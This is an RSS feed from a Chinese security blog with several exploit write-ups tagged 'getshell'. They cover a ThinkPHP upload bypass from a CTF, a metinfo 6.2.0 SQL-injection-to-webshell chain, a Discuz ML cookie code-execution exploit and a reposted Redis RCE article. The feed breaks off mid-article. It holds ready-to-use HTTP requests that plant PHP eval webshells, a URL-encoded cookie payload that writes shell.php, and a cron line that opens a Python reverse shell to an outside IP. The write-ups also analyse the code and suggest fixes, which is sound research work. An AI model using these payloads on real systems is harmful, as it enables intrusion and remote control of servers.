<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>getshell &#8211; ChaBug安全</title>
	<atom:link href="/tags/getshell/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Fri, 08 Nov 2019 08:50:53 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>Thinkphp错误使用Upload类导致getshell</title>
		<link>/audit/1035.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 08 Nov 2019 08:50:53 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[getshell]]></category>
		<category><![CDATA[thinkphp]]></category>
		<guid isPermaLink="false">/?p=1035</guid>

					<description><![CDATA[对tp的错误使用导致的。 本文来自RoarCTF的 simple_upload 源代码 &#60;?php namespace Home\Controller; use Think\...]]></description>
										<content:encoded><![CDATA[<p>对tp的错误使用导致的。</p>
<p>本文来自RoarCTF的 <a href="https://github.com/berTrAM888/RoarCTF-Writeup-some-Source-Code/tree/master/Web/simple_upload">simple_upload</a></p>
<p>源代码</p>
<pre><code class="language-php ">&lt;?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
    public function index()
    {
        show_source(__FILE__);
    }
    public function upload()
    {
        $uploadFile = $_FILES['file'] ;

        if (strstr(strtolower($uploadFile['name']), ".php") ) {
            return false;
        }

        $upload = new \Think\Upload();// 实例化上传类
        $upload-&gt;maxSize  = 4096 ;// 设置附件上传大小
        $upload-&gt;allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
        $upload-&gt;rootPath = './Public/Uploads/';// 设置附件上传目录
        $upload-&gt;savePath = '';// 设置附件上传子目录
        $info = $upload-&gt;upload() ;
        if(!$info) {// 上传错误提示错误信息
          $this-&gt;error($upload-&gt;getError());
          return;
        }else{// 上传成功 获取上传文件信息
          $url = __ROOT__.substr($upload-&gt;rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
          echo json_encode(array("url"=&gt;$url,"success"=&gt;1));
        }
    }
} 
</code></pre>
<p>源码中限制了$_FILES[file]文件名不能是.php文件，得想办法绕过。 <strong>$upload->allowExts</strong> 并不是 <strong>Think\Upload</strong> 类的正确用法，所以 <strong>allowexts</strong> 后缀名限制是无效的。</p>
<p>熟悉 <strong><span class="wpcom_tag_link"><a href="/tags/thinkphp" title="thinkphp" target="_blank">thinkphp</a></span></strong> 的应该知道， <strong>upload()</strong> 函数不传参时为多文件上传，整个 <strong>$_FILES</strong> 数组的文件都会上传保存。</p>
<p>题目中只限制了 <strong>$_FILES[file]</strong> 的上传后缀，也只给出 <strong>$_FILES[file]</strong> 上传后的路径，那我们上传多文件就可以绕过 <strong>php</strong> 后缀限制。</p>
<p><img src="https://y4er.com/img/uploads/20191023211558.png" alt="20191023211558" /></p>
<p>下一步就是要知道上传后的php文件名。看一下 <strong>think\upload</strong> 类是怎么生成文件名的</p>
<p>https://github.com/berTrAM888/RoarCTF-Writeup-some-Source-Code/blob/master/Web/simple_upload/docker/html/ThinkPHP/Library/Think/Upload.class.php#L27</p>
<pre><code class="language-php ">'saveName'     =&gt; array('uniqid', ''), //上传文件命名规则，[0]-函数名，[1]-参数，多个参数使用数组 
</code></pre>
<p>可以看到使用的是uniqid来生成文件名，同时上传txt文件跟php文件，txt上传后的文件名跟php的文件名非常接近。我们只需要构造Burp包，遍历爆破txt文件名后三位 <strong>0-9 a-f</strong> 的文件名，就能猜出php的文件名。</p>
<p>把 <strong>$upload->allowExts</strong> 替换成 <strong>$upload->exts</strong> 就可以修补这个漏洞了。</p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>metinfo 6.2.0正则匹配不严谨导致注入+getshell组合拳</title>
		<link>/web/999.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 27 Sep 2019 16:23:47 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[getshell]]></category>
		<category><![CDATA[metinfo]]></category>
		<category><![CDATA[svn]]></category>
		<category><![CDATA[上传]]></category>
		<category><![CDATA[正则]]></category>
		<category><![CDATA[注入]]></category>
		<guid isPermaLink="false">/?p=999</guid>

					<description><![CDATA[今天公司做技术分享，分享了项目中的一个攻击metinfo的案例，很有意思的攻击链，记录下。 svn泄露 svn是一个开放源代码的版本控制系统，如果在网站中存在.svn目录，那么我们...]]></description>
										<content:encoded><![CDATA[<p>今天公司做技术分享，分享了项目中的一个攻击<span class="wpcom_tag_link"><a href="/tags/metinfo" title="metinfo" target="_blank">metinfo</a></span>的案例，很有意思的攻击链，记录下。</p>
<h1><span class="wpcom_tag_link"><a href="/tags/svn" title="svn" target="_blank">svn</a></span>泄露</h1>
<p>svn是一个开放源代码的版本控制系统，如果在网站中存在<code>.svn</code>目录，那么我们可以拿到网站的源代码，方便审计。关于svn泄露需要注意的是SVN 版本 >1.7 时，Seay的工具不能dump源码了。可以用@admintony师傅的脚本来利用 https://github.com/admintony/svnExploit/</p>
<p>在目标站中发现了<code>http://php.local/.svn/</code>目录泄露源代码，发现是metinfo cms，拿到了位于<code>config/config_safe.php</code>中的key，这个key起到了很大作用。</p>
<p>什么是key呢？为什么要有这个key呢？</p>
<p>在metinfo安装完成后，会在<code>config/config_safe.php</code>写入一个key，这个key是用来加密解密账户信息的，你可以在<code>app/system/include/class/auth.class.php</code>看到加解密算法。</p>
<p><img src="https://y4er.com/img/uploads/20190927220929.png" alt="20190927220929" /></p>
<p>可以看到加解密采用了<code>$this-&gt;auth_key.$key</code>作为盐值，<code>$key</code>默认为空，那么这个<code>$this-&gt;auth_key</code>在哪定义的呢？</p>
<p>config/config.inc.php:109</p>
<p><img src="/wp-content/uploads/2019/09/20190927221247.png" alt="20190927221247" /></p>
<p>有了这个key，我们可以自己针对性去加密解密程序密文。</p>
<p>有什么用呢？大部分的cms都会有全局参数过滤，而metinfo的全局过滤简直变态，我们很难直接从request中找到可用的sql<span class="wpcom_tag_link"><a href="/tags/%e6%b3%a8%e5%85%a5" title="注入" target="_blank">注入</a></span>，<strong>而加了密之后的参数一半不会再进行过滤了</strong>，我们可以找下可控的加密参数。</p>
<h1><span class="wpcom_tag_link"><a href="/tags/%e6%ad%a3%e5%88%99" title="正则" target="_blank">正则</a></span>匹配导致的注入</h1>
<p>全局搜索<code>$auth-&gt;decode</code>寻找可控的参数，并且不走过滤的。</p>
<p><img src="/wp-content/uploads/2019/09/20190927221832.png" alt="20190927221832" /></p>
<p>app/system/user/web/getpassword.class.php:93</p>
<pre><code class="language-php ">public function dovalid() {
    global $_M;
    $auth = load::sys_class('auth', 'new');
    $email = $auth->decode($_M['form']['p']);
    if(!is_email($email))$email = '';
    if($email){
        if($_M['form']['password']){
            $user = $this->userclass->get_user_by_email($email);
            if($user){
                if($this->userclass->editor_uesr_password($user['id'],$_M['form']['password'])){
                    okinfo($_M['url']['login'], $_M['word']['modifypasswordsuc']);
                }else{
                    okinfo($_M['url']['login'], $_M['word']['opfail']);
                }
            }else{
                okinfo($_M['url']['login'], $_M['word']['NoidJS']);
            }
        }
        require_once $this->view('app/getpassword_mailset',$this->input);
    }else{
        okinfo($_M['url']['register'], $_M['word']['emailvildtips2']);
    }
}
</code></pre>
<p>可以看到<code>$email</code>直接从<code>$_M['form']['p']</code>中经过<code>$auth-&gt;decode</code> <strong>解密</strong>获取，并没有进行过滤，然后在<code>get_user_by_email($email)</code>中代入数据库查询。但是经过了<code>is_email($email)</code>判断是否为正确的邮箱地址。</p>
<p>跟进app/system/include/function/str.func.php:26</p>
<pre><code class="language-php ">function is_email($email){
    $flag = true;
    $patten = '/[w-]+@[w-]+.[a-zA-Z.]*[a-zA-Z]$/';
    if(preg_match($patten, $email) == 0){
        $flag = false;
    }
    return $flag;
}
</code></pre>
<p>很正常的正则表达式，<strong>但是唯一缺少的是<code>^</code>起始符！</strong>那么我们构造如<code>' and 1=1-- 1@qq.com</code>也会返回true！</p>
<p>email要经过<code>$auth-&gt;decode</code>解密，这个时候我们的key就派上用场了，我们可以使用<code>$auth-&gt;encode()</code>来加密我们的payload传进去，构成注入。</p>
<p>将auth类自己搞一份出来。</p>
<pre><code class="language-php ">&lt;?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
    $ckey_length = 4;
    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    for($i = 0; $i &lt;= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for($j = $i = 0; $i &lt; 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for($a = $j = $i = 0; $i &lt; $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) &amp;&amp; substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    }else{
        return $keyc.str_replace('=', '', base64_encode($result));
    }
}

print_r(urlencode(authcode($_GET['p'],'ENCODE','cqQWPRhV91To7PmrI5Dd3FGIxjMQpLmt','0')));
</code></pre>
<p><img src="/wp-content/uploads/2019/09/20190927230507.png" alt="20190927230507" /></p>
<p>需要注意这个<code>123@qq.com</code>是你自己注册的用户，如果<code>met_user</code>表中不存在一条记录，是延时不了的。</p>
<p><img src="/wp-content/uploads/2019/09/20190927230659.png" alt="20190927230659" /></p>
<p>延时成功，你也可以构造布尔盲注，到此为止就是注入的部分，但是我们的目标是拿权限，一个注入就满足了？</p>
<h1>组合拳</h1>
<p>app/system/include/class/web.class.php:467 省略部分代码</p>
<pre><code class="language-php ">public function __destruct(){
    global $_M;
    //读取缓冲区数据
    $output = str_replace(array('&lt;!--&lt;!---->','&lt;!---->','&lt;!--fck-->','&lt;!--fck','fck-->','',&quot;r&quot;,substr($admin_url,0,-1)),'',ob_get_contents());
    ob_end_clean();//清空缓冲区
...
    if($_M['form']['html_filename'] &amp;&amp; $_M['form']['metinfonow'] == $_M['config']['met_member_force']){
        //静态页
        $filename = urldecode($_M['form']['html_filename']);
        if(stristr(PHP_OS,&quot;WIN&quot;)) {
            $filename = @iconv(&quot;utf-8&quot;, &quot;GBK&quot;, $filename);
        }
        if(stristr($filename, '.php')){
            jsoncallback(array('suc'=>0));
        }
        if(file_put_contents(PATH_WEB.$filename, $output)){
            jsoncallback(array('suc'=>1));
        }else{
            jsoncallback(array('suc'=>0));
        }
    }else{
        echo $output;//输出内容
    }
...
}
</code></pre>
<p>在前台基类web.class.php中有<code>__destruct</code>魔术方法，而在这个方法中使用<code>file_put_contents(PATH_WEB.$filename, $output</code>写入文件，其中<code>$output</code>是通过<code>ob_get_contents()</code>获取的缓冲区数据，而<code>$filename</code>是从<code>$_M['form']['html_filename']</code>拿出来的，我们可控。</p>
<p>但是有一个if条件<code>$_M['form']['metinfonow'] == $_M['config']['met_member_force']</code>，这个<code>met_member_force</code>在哪呢？在数据库里，我们可以通过刚才的注入拿到！</p>
<p><img src="/wp-content/uploads/2019/09/20190927232524.png" alt="20190927232524" /></p>
<p>那么我们现在的目的就变为怎么去控制<code>$output</code>也就是缓冲区的值。</p>
<blockquote><p>
  ob_start()在服务器打开一个缓冲区来保存所有的输出。所以在任何时候使用echo，输出都将被加入缓冲区中，直到程序运行结束或者使用ob_flush()来结束。
</p></blockquote>
<p>也就是说我们只要找到web.class.php或者继承web.class.php的子类中有可控的echo输出，配合刚才的注入便可以写入shell。</p>
<p>全局搜索<code>extends web</code>寻找子类，在子类中寻找可控echo输出，最终找到的是<code>app/system/include/module/uploadify.class.php</code>的doupfile()方法</p>
<pre><code class="language-php ">public function set_upload($info){
    global $_M;
    $this->upfile->set('savepath', $info['savepath']);
    $this->upfile->set('format', $info['format']);
    $this->upfile->set('maxsize', $info['maxsize']);
    $this->upfile->set('is_rename', $info['is_rename']);
    $this->upfile->set('is_overwrite', $info['is_overwrite']);
}
...
public function upload($formname){
    global $_M;
    $back = $this->upfile->upload($formname);
    return $back;
}
...
public function doupfile(){
    global $_M;
    $this->upfile->set_upfile();
    $info['savepath'] = $_M['form']['savepath'];
    $info['format'] = $_M['form']['format'];
    $info['maxsize'] = $_M['form']['maxsize'];
    $info['is_rename'] = $_M['form']['is_rename'];
    $info['is_overwrite'] = $_M['form']['is_overwrite'];
    $this->set_upload($info);
    $back = $this->upload($_M['form']['formname']);
    if($_M['form']['type']==1){
        if($back['error']){
            $back['error'] = $back['errorcode'];
        }else{
            $backs['path'] = $back['path'];

            $backs['append'] = 'false';
            $back = $backs;
        }
    }
    $back['filesize'] =  round(filesize($back['path'])/1024,2);
    echo jsonencode($back);
}
...
</code></pre>
<p>echo的$back变量是从<code>$_M['form']['formname']</code>取出来的，可控，向上推看back变量的取值由<code>$this-&gt;upfile-&gt;upload($formname)</code>决定，跟进。</p>
<pre><code class="language-php ">public function upload($form = '') {
    global $_M;
    if($form){
        foreach($_FILES as $key => $val){
            if($form == $key){
                $filear = $_FILES[$key];
            }
        }
    }
    if(!$filear){
        foreach($_FILES as $key => $val){
            $filear = $_FILES[$key];
            break;
        }
    }

    //是否能正常上传
    if(!is_array($filear))$filear['error'] = 4;
    if($filear['error'] != 0 ){
        $errors = array(
            0 => $_M['word']['upfileOver4'],
            1 => $_M['word']['upfileOver'],
            2 => $_M['word']['upfileOver1'],
            3 => $_M['word']['upfileOver2'],
            4 => $_M['word']['upfileOver3'],
            6 => $_M['word']['upfileOver5'],
            7 => $_M['word']['upfileOver5']
        );
        $error_info[]= $errors[$filear['error']] ? $errors[$filear['error']] : $errors[0];
        return $this->error($errors[$filear['error']]);
    }
    ...
    //文件大小是否正确{}
    if ($filear[&quot;size&quot;] > $this->maxsize || $filear[&quot;size&quot;] > $_M['config']['met_file_maxsize']*1048576) {
        return $this->error(&quot;{$_M['word']['upfileFile']}&quot;.$filear[&quot;name&quot;].&quot; {$_M['word']['upfileMax']} {$_M['word']['upfileTip1']}&quot;);
    }
    //文件后缀是否为合法后缀
    $this->getext($filear[&quot;name&quot;]); //获取允许的后缀
    if (strtolower($this->ext)=='php'||strtolower($this->ext)=='aspx'||strtolower($this->ext)=='asp'||strtolower($this->ext)=='jsp'||strtolower($this->ext)=='js'||strtolower($this->ext)=='asa') {
        return $this->error($this->ext.&quot; {$_M['word']['upfileTip3']}&quot;);
    }
    ...
}
</code></pre>
<p>省略部分代码</p>
<p>我们要看return回去的值就是back变量的值，所以重点关注return的东西看是否可控。</p>
<p>首先是正常foreach取出<span class="wpcom_tag_link"><a href="/tags/%e4%b8%8a%e4%bc%a0" title="上传" target="_blank">上传</a></span>文件的信息，然后判断是否能正常上传-文件大小是否正确-文件后缀是否为合法后缀，如果有错就return。到这里有两种思路。</p>
<h2>超出文件大小<span class="wpcom_tag_link"><a href="/tags/getshell" title="getshell" target="_blank">getshell</a></span></h2>
<p><img src="/wp-content/uploads/2019/09/20190927234118.png" alt="20190927234118" /></p>
<p>在后台中最大文件大小是8m，如果我们上传一个超出8m的文件，那么upload()函数就会<code>return $this-&gt;error(&amp;quot;{$_M['word']['upfileFile']}&amp;quot;.$filear[&amp;quot;name&amp;quot;].&amp;quot; {$_M['word']['upfileMax']} {$_M['word']['upfileTip1']}&amp;quot;);</code> 而这个<code>$filear[&amp;quot;name&amp;quot;]</code>是我们可控的，在foreach中赋值的。</p>
<p>那么这样我们就可以把<code>$filear[&amp;quot;name&amp;quot;]</code>改为shell，然后return回去，赋值给$back，echo进缓冲区，最后file_put_contents拿到shell，完美的利用链。</p>
<p>但是这个8m太大了，<strong>我们可以通过注入进后台把这个限制改为0.0008</strong></p>
<p>构造下payload，<strong>需要注意<code>metinfonow</code>参数是上文中从数据库中取出的<code>met_member_force</code></strong></p>
<pre><code class="language-http ">POST /admin/index.php?c=uploadify&amp;m=include&amp;a=doupfile&amp;lang=cn&amp;metinfonow=xwtpwmp&amp;html_filename=1.php HTTP/1.1
Host: php.local
Content-Length: 1120
Origin: http://php.local/
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8tQiXReYsQYXHadW
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary8tQiXReYsQYXHadW
Content-Disposition: form-data; name=&quot;test&quot;; filename=&quot;&lt;?php eval($_POST[1]);?>&quot;
Content-Type: image/jpeg

testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest
------WebKitFormBoundary8tQiXReYsQYXHadW--
</code></pre>
<p><img src="/wp-content/uploads/2019/09/20190927235251.png" alt="20190927235251" /></p>
<p><img src="/wp-content/uploads/2019/09/20190927235336.png" alt="20190927235336" /></p>
<p><img src="/wp-content/uploads/2019/09/20190927235402.png" alt="20190927235402" /></p>
<h2>无后缀getshell</h2>
<p>@mochazz师傅在先知上分享了一篇metinfo6.1.3的getshell，我自己测试在6.2.0中已经修复，不过还是提一下。</p>
<p>问题出在 app/system/include/class/upfile.class.php:139 getext()函数</p>
<p>如果不是合法后缀会<code>return $this-&gt;error($this-&gt;ext.&amp;quot; {$_M['word']['upfileTip3']}&amp;quot;)</code>，而<code>$this-&gt;ext</code>经过<code>getext()</code>函数，跟进</p>
<pre><code class="language-php ">protected function getext($filename) {
    if ($filename == &quot;&quot;) {
        return ;
    }
    $ext = explode(&quot;.&quot;, $filename);
    $ext = $ext[count($ext) - 1];
    return $this->ext = $ext;
}
</code></pre>
<p>直接<code>return $ext</code>，那么我们上传一个无后缀的文件，文件名写一句话就可以getshell</p>
<p><img src="/wp-content/uploads/2019/09/20190928000955.png" alt="20190928000955" /></p>
<p><img src="/wp-content/uploads/2019/09/20190928001104.png" alt="20190928001104" /></p>
<p>payload</p>
<pre><code class="language-http ">POST /admin/index.php?c=uploadify&amp;m=include&amp;a=doupfile&amp;lang=cn&amp;metinfonow=xwtpwmp&amp;html_filename=1.php HTTP/1.1
Host: php.local
Content-Length: 194
Origin: http://php.local/
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8tQiXReYsQYXHadW
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close

------WebKitFormBoundary8tQiXReYsQYXHadW
Content-Disposition: form-data; name=&quot;test&quot;; filename=&quot;&lt;?php phpinfo();?>&quot;
Content-Type: image/jpeg

test
------WebKitFormBoundary8tQiXReYsQYXHadW--
</code></pre>
<p>而在6.2.0中，加入了一行正则判断后缀，绕不过去，无法getshell</p>
<pre><code class="language-php ">protected function getext($filename) {
    if ($filename == &quot;&quot;) {
        return ;
    }
    $ext = explode(&quot;.&quot;, $filename);
    $ext = $ext[count($ext) - 1];
    if (preg_match(&quot;/^[0-9a-zA-Z]+$/u&quot;, $ext)) {
        return $this->ext = $ext;
    }
    return $this->ext = '';
}
</code></pre>
<h1>总结</h1>
<ol>
<li>svn泄露分版本</li>
<li>注册是邮件的正则匹配问题</li>
<li>参数加密一般不走全局过滤 找找注入</li>
<li>关注echo和ob_get_contents()函数 说不定能写shell呢</li>
</ol>
<p>参考链接</p>
<ol>
<li>https://nosec.org/home/detail/2436.html</li>
<li>https://xz.aliyun.com/t/4425</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Discuz Ml v3.x 代码执行分析</title>
		<link>/audit/671.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 11 Jul 2019 14:34:52 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[dz]]></category>
		<category><![CDATA[exec]]></category>
		<category><![CDATA[exp]]></category>
		<category><![CDATA[getshell]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[代码执行]]></category>
		<guid isPermaLink="false">/?p=671</guid>

					<description><![CDATA[昨天晚上Discuz Ml爆出了漏洞，今天来分析一波。 exp 修改Cookie中的xxxx_language字段为以下内容即可 %27.+file_put_contents%28...]]></description>
										<content:encoded><![CDATA[<p>昨天晚上Discuz Ml爆出了漏洞，今天来分析一波。</p>
<h2><span class="wpcom_tag_link"><a href="/tags/exp" title="exp" target="_blank">exp</a></span></h2>
<p>修改Cookie中的xxxx_language字段为以下内容即可</p>
<pre><code class="language-php ">%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2547%2545%2554%255b%2522a1%2522%255d%29%253b%253f%253e%27%29%29.%27
</code></pre>
<p>访问网站首页则会在根目录下生成木马文件,shell.php 密码为a1</p>
<p><img src="https://ae01.alicdn.com/kf/UTB8_Dhrw9bIXKJkSaef761asXXaa.png" alt="20190711205534.png" /></p>
<h2>定位漏洞位置</h2>
<p>解码exp</p>
<pre><code class="">'.+file_put_contents('shell.php',urldecode('&lt;?php+ eval($_GET["a1"]);?&gt;')).'
</code></pre>
<p>修改exp为<code>_language=1.1.1;</code>使其报错。</p>
<ul>
<li><img src="https://ae01.alicdn.com/kf/UTB8Hrllw__IXKJkSalU761BzVXat.png" alt="20190711210101.png" /></li>
</ul>
<p>定位到653行</p>
<p><img src="https://ae01.alicdn.com/kf/UTB8TMXHw1vJXKJkSajh7637aFXaX.png" alt="20190711211456.png" /></p>
<p>关键代码644行</p>
<pre><code class="language-php ">$cachefile = './data/template/'.DISCUZ_LANG.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
</code></pre>
<p><code>cachefile</code>变量是缓存文件，将其写入到<code>/data/template/</code>目录下，并且由<code>DISCUZ_LANG</code>拼接，追踪下<code>DISCUZ_LANG</code>的值<br />
2088-2096行</p>
<pre><code class="language-php ">global $_G;
if($_G['config']['output']['language'] == 'zh_cn') {
return 'SC_UTF8';
} elseif ($_G['config']['output']['language'] == 'zh_tw') {
return 'TC_UTF8';
} else {
//vot !!!! ToDo: Check this for other languages !!!!!!!!!!!!!!!!!!!!!
/*vot*/         return strtoupper(DISCUZ_LANG) . '_UTF8';
}
</code></pre>
<p>可以看到<code>$_G['config']['output']['language']</code>作为<code>DISCUZ_LANG</code>的值</p>
<p>全局搜索<code>['language']</code></p>
<p>source/class/discuz/discuz_application.php 305行，发现是从cookie中拿到language的值</p>
<p><img src="https://ae01.alicdn.com/kf/UTB86WNtw9bIXKJkSaef761asXXaB.png" alt="20190711212635.png" /></p>
<p>那么到这里整个漏洞的流程就很明显了，cookie中<code>language</code>参数可控导致<code>DISCUZ_LANG</code>可控，从而导致<code>cachefile</code>的文件名可被注入代码，最终<code>include_once</code>包含一下导致了造成<span class="wpcom_tag_link"><a href="/tags/%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c" title="代码执行" target="_blank">代码执行</a></span>。</p>
<p>phpinfo验证</p>
<p><code>Ov1T_2132_language='.phpinfo().';</code></p>
<p><img src="https://ae01.alicdn.com/kf/UTB8HphiwYnJXKJkSahG760hzFXaN.png" alt="20190711214222.png" /></p>
<h2>修复建议</h2>
<p>截止到本文发布之前，补丁还没有出来。</p>
<p>建议修改source/function/function_core.php 644行为</p>
<pre><code class="language-php ">/*vot*/ $cachefile = './data/template/'.'sc'.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
</code></pre>
<p>删除可控变量</p>
<h2>写在文后</h2>
<p>其实从漏洞点的注释上来看就知道这是一个未完成的部分，毕竟还是<code>TODO</code>，开发人员得背锅。不过我怎么没有这种好运气呢，呜呜呜😭</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Redis 基于主从复制的 RCE 利用方式</title>
		<link>/web/669.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 10 Jul 2019 04:40:15 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[getshell]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[redis]]></category>
		<guid isPermaLink="false">/?p=669</guid>

					<description><![CDATA[作者：LoRexxar&#8217;@知道创宇404实验室 全文转载https://paper.seebug.org/975/ 在2019年7月7日结束的WCTF2019 Fina...]]></description>
										<content:encoded><![CDATA[<p>作者：LoRexxar&#8217;@知道创宇404实验室 全文转载https://paper.seebug.org/975/</p>
<p>在2019年7月7日结束的WCTF2019 Final上，LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于<span class="wpcom_tag_link"><a href="/tags/redis" title="redis" target="_blank">redis</a></span>新版本的RCE利用方式，比起以前的利用方式来说，这种利用方式更为通用，危害也更大，下面就让我们从以前的redis RCE利用方式出发，一起聊聊关于redis的利用问题。</p>
<p>https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf</p>
<h2>通过写入文件 GetShell</h2>
<p>未授权的redis会导致GetShell，可以说已经是众所周知的了。</p>
<pre><code class="language-bash ">127.0.0.1:6379&gt; config set dir /var/spool/cron/crontabs
OK
127.0.0.1:6379&gt; config set dbfilename root
OK
127.0.0.1:6379&gt; get 1
"\n* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n"
127.0.0.1:6379&gt; save
OK
</code></pre>
<p>而这种方式是通过写文件来完成GetShell的，这种方式的主要问题在于，redis保存的数据并不是简单的json或者是csv，所以写入的文件都会有大量的无用数据，形似</p>
<pre><code class="language-python ">[padding]
* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'
[padding]
</code></pre>
<p>这种主要利用了crontab、ssh key、webshell这样的文件都有一定容错性，再加上crontab和ssh服务可以说是服务器的标准的服务，所以在以前，这种通过写入文件的<span class="wpcom_tag_link"><a href="/tags/getshell" title="getshell" target="_blank">getshell</a></span>方式基本就可以说是很通杀了。</p>
<p>但随着现代的服务部署方式的不断发展，组件化成了不可逃避的大趋势，docker就是这股风潮下的产物之一，而在这种部署模式下，一个单一的容器中不会有除redis以外的任何服务存在，包括ssh和crontab，再加上权限的严格控制，只靠写文件就很难再getshell了，在这种情况下，我们就需要其他的利用手段了。</p>
<h2>通过主从复制 GetShell</h2>
<p>在介绍这种利用方式之前，首先我们需要介绍一下什么是主从复制和redis的模块。</p>
<h3>Redis主从复制</h3>
